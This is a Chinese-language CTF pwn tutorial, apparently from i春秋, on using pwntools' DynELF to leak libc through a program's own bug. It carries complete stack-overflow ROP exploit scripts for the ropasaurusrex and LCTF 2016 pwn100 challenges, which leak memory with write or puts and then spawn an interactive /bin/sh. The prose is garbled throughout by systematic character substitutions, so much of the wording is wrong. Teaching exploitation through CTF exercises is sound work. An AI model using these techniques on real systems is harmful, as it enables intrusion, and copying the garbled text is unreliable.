今天i春秋与你们分享的是Linux Pwn入门教程第六章:利用漏洞获取libc,阅读用时约12分钟。code

DynELF简介
在前面几篇文章中,为了下降难度,不少经过调用库函数system的题目咱们实际上都故意留了后门或者提供了目标系统的libc版本。不一样版本的libc,函数首地址相对于文件开头的偏移和函数间的偏移不必定一致。因此若是题目不提供libc,经过泄露任意一个库函数地址计算出system函数地址的方法就很差使了。这就要求咱们想办法获取目标系统的libc。
关于远程获取libc,pwntools在早期版本就提供了一个解决方案——DynELF类。
DynELFl的官方文档:
http://docs.pwntools.com/en/stable/dynelf.html
其具体的原理能够参阅文档和源码,DynELF经过程序漏洞泄露出任意地址内容,结合ELF文件的结构特征获取对应版本文件并计算比对出目标符号在内存中的地址。DynELF类的使用方法以下:
io = remote(ip, port) def leak(addr): payload2leak_addr = “****” + pack(addr) + “****” io.send(payload2leak_addr) data = io.recv() return data d = DynELF(leak, pointer = pointer_into_ELF_file, elf = ELFObject) system_addr = d.lookup(“system”, libc)
使用DynELF时,咱们须要使用一个leak函数做为必选参数,指向ELF文件的指针或者使用ELF类加载的目标文件至少提供一个做为可选参数,以初始化一个DynELF类的实例d。而后就能够经过这个实例d的方法lookup来搜寻libc库函数了。
其中,leak函数须要使用目标程序自己的漏洞泄露出由DynELF类传入的int型参数addr对应的内存地址中的数据。且因为DynELF会屡次调用leak函数,这个函数必须能任意次使用,即不能泄露几个地址以后就致使程序崩溃。因为须要泄露数据,payload中必然包含着打印函数,如write, puts, printf等,咱们根据这些函数的特色将其分红两部分分别进行讲解。
DynELF的使用——write函数
咱们先来看比较简单的write函数。write函数的特色在于其输出彻底由其参数size决定,只要目标地址可读,size填多少就输出多少,不会受到诸如‘\0’, ‘\n’之类的字符影响。所以leak函数中对数据的读取和处理较为简单。
咱们开始分析例子~/PlaidCTF 2013 ropasaurusrex/ropasaurusrex,这个32位程序的结构很是简单,一个有栈溢出的read,一个write。没有libc,got表里没有system,也没有int 80h/syscall。

这种状况下咱们就可使用DynELF来leaklibc,进而获取system函数在内存中的地址。
首先咱们来构建一个能够泄露任意地址的ROP链。经过测试咱们能够知道栈溢出到EIP须要140个字节,所以咱们能够构造一个payload以下:
elf = ELF(‘./ropasaurusrex’) #别忘了在脚本所在目录下放一个程序文件ropasaurusrex write_addr = elf.symbols['write'] payload = “A”*140 payload += p32(write_addr) payload += p32(0) payload += p32(1) payload += p32(0x08048000) payload += p32(8)
使用payload打印出ELF文件在内存中的首地址0x08048000,write( )运行结束后返回的地址随便填写,编写脚本后发现能够正确输出结果:

如今咱们须要让这个payload能够被重复使用。首先咱们须要改掉write函数返回的地址,以避免执行完write以后程序崩溃。那么改为什么好呢?继续改为write是不行的,由于参数显然没办法继续传递。若是使用pop清除栈又会致使栈顶降低,多执行几回就会耗尽栈空间。这里咱们能够把返回地址改为start段的地址:

这段代码是编译器添加的,用于初始化程序的运行环境后,执行完相应的代码后会跳转到程序的入口函数main运行程序代码。所以,在执行完write函数泄露数据后,咱们能够返回到这里刷新一遍程序的环境,至关因而从新执行了一遍程序。如今的payload封装成leak函数以下:
def leak(addr): payload = '' payload += 'A'*140 #padding payload += p32(write_addr) #调用write payload += p32(start_addr) #write返回到start payload += p32(1) #write第一个参数fd payload += p32(addr) #write第二个参数buf payload += p32(8) #write第三个参数size io.sendline(payload) content = io.recv()[:8] print("%#x -> %s" %(addr, (content or '').encode('hex'))) return content
咱们加了一行print输出leak执行的状态,用于debug。使用DynELF泄露system函数地址,显示以下:

咱们能够利用这个DynELF类的实例泄露read函数的真正内存地址,用于读取“/bin/sh”字符串到内存中,以便于执行system(“/bin/sh”)。最终脚本以下:
#!/usr/bin/python #coding:utf-8[/size][/align][align=left][size=3] from pwn import * io = remote('172.17.0.2', 10001)[/size][/align][align=left][size=3] elf = ELF('./ropasaurusrex') start_addr = 0x08048340 write_addr = elf.symbols['write'] binsh_addr = 0x08049000 def leak(addr): payload = '' payload += 'A'*140 #padding payload += p32(write_addr) #调用write payload += p32(start_addr) #write返回到start payload += p32(1) #write第一个参数fd payload += p32(addr) #write第二个参数buf payload += p32(8) #write第三个参数size io.sendline(payload) content = io.recv()[:8] print("%#x -> %s" %(addr, (content or '').encode('hex'))) return content d = DynELF(leak, elf = elf) system_addr = d.lookup('system', 'libc') read_addr = d.lookup('read', 'libc') log.info("system_addr = %#x", system_addr) log.info("read_addr = %#x", read_addr) payload = '' payload += 'A'*140 #padding payload += p32(read_addr) #调用read payload += p32(system_addr) #read返回到system payload += p32(0) #read第一个参数fd/system返回地址,无心义 payload += p32(binsh_addr) #read第二个参数buf/system第一个参数 payload += p32(8) #read第三个参数size io.sendline(payload) io.sendline('/bin/sh\x00') io.interactive()
DynELF的使用——其余输出函数
除了“好说话”的write函数以外,一些专门因为处理字符串输出的函数也常常出如今各种CTF pwn题目中,好比printf, puts等。这类函数的特色是会被特殊字符影响,所以存在输出长度不固定的问题。咱们看一下例子~/LCTF 2016-pwn100/pwn100,其漏洞出如今sub_40068E( )中。

很明显的栈溢出漏洞。
这个程序比较麻烦的一点在于它是个64位程序,且找不到能够修改rdx的gadget,所以在这里咱们就能够用到以前的文章中提到的万能gadgets进行函数调用。
首先咱们来构造一个leak函数。经过对代码的分析咱们发现程序中能够用来泄露信息的函数只有一个puts,已知栈溢出到rip须要72个字节,咱们很快就能够写出一个尝试泄露的脚本:
from pwn import * io = remote("172.17.0.3", 10001) elf = ELF("./pwn100") puts_addr = elf.plt['puts'] pop_rdi = 0x400763 payload = "A" *72 payload += p64(pop_rdi) payload += p64(0x400000) payload += p64(puts_addr) payload = payload.ljust(200, "B") io.send(payload) print io.recv()
结果以下:

因为实际上栈溢出漏洞须要执行完puts(“bye~”)以后才会被触发,输出对应地址的数据,所以咱们须要去掉前面的字符,因此能够写leak函数以下:
start_addr = 0x400550 pop_rdi = 0x400763 puts_addr = elf.plt['puts'] def leak(addr): payload = "A" *72 payload += p64(pop_rdi) payload += p64(addr) payload += p64(puts_addr) payload += p64(start_addr) payload = payload.ljust(200, "B") io.send(payload) content = io.recv()[5:] log.info("%#x => %s" % (addr, (content or '').encode('hex'))) return content
咱们将其扩展成一个脚本并执行,却发现leak出错了。

经过查看输出的leak结果咱们能够发现有大量的地址输出处理以后都是0x0a,即一个回车符。从Traceback上看,最根本缘由是读取数据错误。这是由于puts( )的输出是不受控的,做为一个字符串输出函数,它默认把字符'\x00'做为字符串结尾,从而截断了输出。所以,咱们能够根据上述博文修改leak函数:
def leak(addr): count = 0 up = '' content = '' payload = 'A'*72 #padding payload += p64(pop_rdi) #给puts()赋值 payload += p64(addr) #leak函数的参数addr payload += p64(puts_addr) #调用puts()函数 payload += p64(start_addr) #跳转到start,恢复栈 payload = payload.ljust(200, 'B') #padding io.send(payload) io.recvuntil("bye~\n") while True: #无限循环读取,防止recv()读取输出不全 c = io.recv(numb=1, timeout=0.1) #每次读取一个字节,设置超时时间确保没有遗漏 count += 1 if up == '\n' and c == "": #上一个字符是回车且读不到其余字符,说明读完了 content = content[:-1]+'\x00' #最后一个字符置为\x00 break else: content += c #拼接输出 up = c #保存最后一个字符 content = content[:4] #截取输出的一段做为返回值,提供给DynELF处理 log.info("%#x => %s" % (addr, (content or '').encode('hex'))) return content
脚本所有内容位于~/LCTF2016-pwn100/exp.py,此处再也不赘述。
其余获取libc的方法
虽然DynELF是一个dump利器,可是有时候咱们也会碰到一些使人尴尬的意外状况,好比写不出来leak函数,下libc被墙等等。这一节咱们来介绍一些可行的解决方案。
首先要介绍的是libcdb.com,这是一个用来在线查询libc版本的网站。

从它的界面咱们能够看出来,这个网站的使用至关简单,只须要咱们泄露出两个函数的内存地址。只要程序存在能够用来泄露内存的漏洞。不过尴尬的是libcdb.com里好像搜不到咱们用的Ubuntu.17.04里面的libc,因此在这里就不作演示了。
第二个推荐的方法是在比赛中使用其余题目的libc。若是一个题目没法获取到libc,一般能够尝试一下使用其余题目获取到的libc作题,有时候可能全部同平台的题目都部署在同一个版本的系统中。
以上是今天的内容,你们看懂了吗?后面咱们将持续更新Linux Pwn入门教程的相关章节,但愿你们及时关注。